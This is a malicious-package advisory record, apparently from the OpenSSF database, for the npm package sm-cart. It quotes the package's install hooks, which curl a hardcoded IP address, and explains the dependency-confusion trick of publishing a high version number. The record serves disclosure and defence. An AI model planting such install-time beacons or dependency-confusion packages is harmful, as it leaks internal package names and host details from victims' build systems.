MAL-2026-14396Malicious code in sm-cart (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | sm-cart | * |
| npm | sm-cart | 99.0.0 |
| npm | sm-cart | 99.0.1 |
{"schema_version":"1.7.4","id":"MAL-2026-14396","published":"2026-08-23T18:50:28Z","modified":"2026-08-24T16:28:17.241588194Z","aliases":["GHSA-79hh-8hx9-8jjr"],"summary":"Malicious code in sm-cart (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0)\nPackage sm-cart@99.0.0 declares preinstall and postinstall scripts that unconditionally run `curl -s http://16.192.173.5/sm-cart/pre` and `curl -s http://16.192.173.5/sm-cart/post` on every install, causing the installing host to beacon over plain HTTP to a hardcoded bare-IP endpoint at install time. The package has no functional code (index.js only logs and exports an empty object), self-identifies in its manifest as a 'dependency confusion test', and uses an implausibly high version number (99.0.0) designed to win private-name resolution when an organization has an internal package also named 'sm-cart'. The result is that a build system whose internal 'sm-cart' resolves to this public package discloses the internal package name, the host's public IP, and successful installation to the operator of 16.192.173.5.\n\n## Source: ghsa-malware (df0e3405b202c2d567c7eca4a9615bd1b2f892260939b467c56c6938b0d1f99a)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n\n## Source: ossf-package-analysis (ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af)\nThe OpenSSF Package Analysis project identified 'sm-cart' @ 99.0.1 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"name":"sm-cart","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["99.0.0","99.0.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"5997e4ed5624f82792b97e7a67973dfa7f0851f1e5ba9dde92d3a55cae2fe040","tlsh":"a0c0125c0504d6725bc447a6a915958c7491014000c25824c3d30df98b2235aa10fa1a"},{"path":"index.js","sha256":"887ee4ab7dec9c37eac90c4f1b848bd673cfc2f55a89a2595e699e72740de307","tlsh":"74c02b82b0ac713451f5484b1030031a34effdb0f6033195e20882ede20cd6443030dc"}],"package_integrity":[{"filename":"sm-cart-99.0.0.tgz","hashes":{"sha1":"e432c7669837153894cb226c450bbe92b2fe142a","sha512_sri":"sha512-bbEd3y8wwCCmuX8Gc6tvQiwLnh5BDEH6oKLwu94FD5+DNGolB1Iu8IMrueV2TCviyGtoZ3qOACTs9s1n371hqw=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-cart/v/99.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/sm-cart/v/99.0.1"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-79hh-8hx9-8jjr"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-018612","import_time":"2026-08-24T05:20:14.685186002Z","modified_time":"2026-08-24T05:07:48Z","sha256":"14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0","source":"amazon-inspector","versions":["99.0.0"]},{"id":"IN-MAL-2026-018607","import_time":"2026-08-24T05:20:14.232522399Z","modified_time":"2026-08-24T05:07:09Z","sha256":"5beec7d35c3e92ce97cf4def06d591088970747be8e226b227d54cc842326ad6","source":"amazon-inspector","versions":["99.0.1"]},{"import_time":"2026-08-24T05:47:54.972088692Z","modified_time":"2026-08-23T18:50:28Z","sha256":"ad685443f9d918dd34a9c2f676f78850abaacb943b9562a773761627d1cad4af","source":"ossf-package-analysis","versions":["99.0.1"]},{"id":"GHSA-79hh-8hx9-8jjr","import_time":"2026-08-24T16:26:16.736975066Z","modified_time":"2026-08-24T15:42:57Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"df0e3405b202c2d567c7eca4a9615bd1b2f892260939b467c56c6938b0d1f99a","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"OpenSSF: Package Analysis","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0